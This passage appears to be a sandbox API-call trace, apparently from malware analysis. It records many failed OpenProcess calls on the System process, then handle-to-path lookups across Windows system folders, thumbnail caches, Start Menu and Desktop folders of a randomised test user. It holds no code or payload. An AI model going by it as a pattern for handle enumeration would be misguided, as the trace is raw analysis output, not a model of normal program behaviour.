(dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.698] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.698] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.698] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.698] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.699] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.699] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.699] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.699] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.700] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.700] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.700] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.700] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.701] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.701] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.701] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.701] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.703] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.703] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.703] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.703] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.706] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.706] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.706] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.706] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.708] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.708] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.708] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.708] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.709] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.709] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.709] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.709] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.710] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.710] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.710] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.710] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.711] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.711] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.711] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.711] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.711] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.712] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.712] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.712] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.712] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.712] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.713] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.713] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.713] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.713] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.713] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.714] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.714] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.714] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.714] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.714] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.715] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.715] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.715] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.715] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.715] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.716] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.716] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.716] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.716] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.717] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.717] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.717] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.717] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.717] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.718] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.718] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.718] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.718] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.719] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.719] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.719] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.719] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.720] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.720] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.720] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.720] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.722] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.722] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.722] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.722] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.723] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.723] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.723] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.723] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.725] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.725] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.725] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.727] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.727] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.727] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.727] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.728] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.728] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.728] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0062.729] GetFileType (hFile=0x128) returned 0x1 [0062.729] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0062.730] CloseHandle (hObject=0x128) returned 1 [0062.731] GetFileType (hFile=0x120) returned 0x1 [0062.731] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0062.732] CloseHandle (hObject=0x120) returned 1 [0062.732] GetFileType (hFile=0x128) returned 0x1 [0062.732] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a") returned 0x6b [0062.734] CloseHandle (hObject=0x128) returned 1 [0062.734] GetFileType (hFile=0x120) returned 0x0 [0062.734] CloseHandle (hObject=0x120) returned 1 [0062.734] GetFileType (hFile=0x128) returned 0x1 [0062.734] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.735] CloseHandle (hObject=0x128) returned 1 [0062.736] GetFileType (hFile=0x120) returned 0x1 [0062.736] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.737] CloseHandle (hObject=0x120) returned 1 [0062.737] GetFileType (hFile=0x128) returned 0x1 [0062.737] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0062.738] CloseHandle (hObject=0x128) returned 1 [0062.739] GetFileType (hFile=0x120) returned 0x1 [0062.739] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895") returned 0x64 [0062.757] CloseHandle (hObject=0x120) returned 1 [0062.758] GetFileType (hFile=0x128) returned 0x1 [0062.758] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.761] CloseHandle (hObject=0x128) returned 1 [0062.761] GetFileType (hFile=0x120) returned 0x1 [0062.761] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.763] CloseHandle (hObject=0x120) returned 1 [0062.763] GetFileType (hFile=0x128) returned 0x1 [0062.763] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.764] CloseHandle (hObject=0x128) returned 1 [0062.765] GetFileType (hFile=0x120) returned 0x1 [0062.765] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.766] CloseHandle (hObject=0x120) returned 1 [0062.766] GetFileType (hFile=0x128) returned 0x1 [0062.766] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.768] CloseHandle (hObject=0x128) returned 1 [0062.768] GetFileType (hFile=0x120) returned 0x1 [0062.768] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0062.770] CloseHandle (hObject=0x120) returned 1 [0062.770] GetFileType (hFile=0x128) returned 0x1 [0062.770] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3") returned 0x7b [0062.771] CloseHandle (hObject=0x128) returned 1 [0062.772] GetFileType (hFile=0x120) returned 0x1 [0062.772] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") returned 0x8c [0062.773] CloseHandle (hObject=0x120) returned 1 [0062.773] GetFileType (hFile=0x128) returned 0x1 [0062.773] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.775] CloseHandle (hObject=0x128) returned 1 [0062.775] GetFileType (hFile=0x120) returned 0x1 [0062.775] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.776] CloseHandle (hObject=0x120) returned 1 [0062.777] GetFileType (hFile=0x128) returned 0x1 [0062.777] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.778] CloseHandle (hObject=0x128) returned 1 [0062.778] GetFileType (hFile=0x120) returned 0x1 [0062.778] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0062.781] CloseHandle (hObject=0x120) returned 1 [0062.781] GetFileType (hFile=0x128) returned 0x3 [0062.781] CloseHandle (hObject=0x128) returned 1 [0062.781] GetFileType (hFile=0x120) returned 0x1 [0062.781] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0062.783] CloseHandle (hObject=0x120) returned 1 [0062.783] GetFileType (hFile=0x128) returned 0x1 [0062.783] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.785] CloseHandle (hObject=0x128) returned 1 [0062.785] GetFileType (hFile=0x120) returned 0x1 [0062.785] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0062.798] CloseHandle (hObject=0x120) returned 1 [0062.799] GetFileType (hFile=0x128) returned 0x1 [0062.799] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0062.800] CloseHandle (hObject=0x128) returned 1 [0062.801] GetFileType (hFile=0x120) returned 0x1 [0062.801] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0062.808] CloseHandle (hObject=0x120) returned 1 [0062.808] GetFileType (hFile=0x128) returned 0x1 [0062.808] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 0x58 [0062.810] CloseHandle (hObject=0x128) returned 1 [0062.811] GetFileType (hFile=0x120) returned 0x1 [0062.811] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0062.812] CloseHandle (hObject=0x120) returned 1 [0062.812] GetFileType (hFile=0x128) returned 0x1 [0062.812] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0062.814] CloseHandle (hObject=0x128) returned 1 [0062.814] GetFileType (hFile=0x120) returned 0x1 [0062.814] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0062.816] CloseHandle (hObject=0x120) returned 1 [0062.816] GetFileType (hFile=0x128) returned 0x1 [0062.816] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0062.819] CloseHandle (hObject=0x128) returned 1 [0062.819] GetFileType (hFile=0x120) returned 0x1 [0062.819] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0062.821] CloseHandle (hObject=0x120) returned 1 [0062.821] GetFileType (hFile=0x128) returned 0x1 [0062.821] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0062.822] CloseHandle (hObject=0x128) returned 1 [0062.822] GetFileType (hFile=0x120) returned 0x1 [0062.822] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0062.824] CloseHandle (hObject=0x120) returned 1 [0062.824] GetFileType (hFile=0x128) returned 0x1 [0062.824] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0062.825] CloseHandle (hObject=0x128) returned 1 [0062.826] GetFileType (hFile=0x120) returned 0x1 [0062.826] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0062.828] CloseHandle (hObject=0x120) returned 1 [0062.828] GetFileType (hFile=0x128) returned 0x1 [0062.828] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0062.830] CloseHandle (hObject=0x128) returned 1 [0062.830] GetFileType (hFile=0x120) returned 0x1 [0062.830] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0062.832] CloseHandle (hObject=0x120) returned 1 [0062.832] GetFileType (hFile=0x128) returned 0x1 [0062.832] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0062.834] CloseHandle (hObject=0x128) returned 1 [0062.835] GetFileType (hFile=0x120) returned 0x1 [0062.835] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: 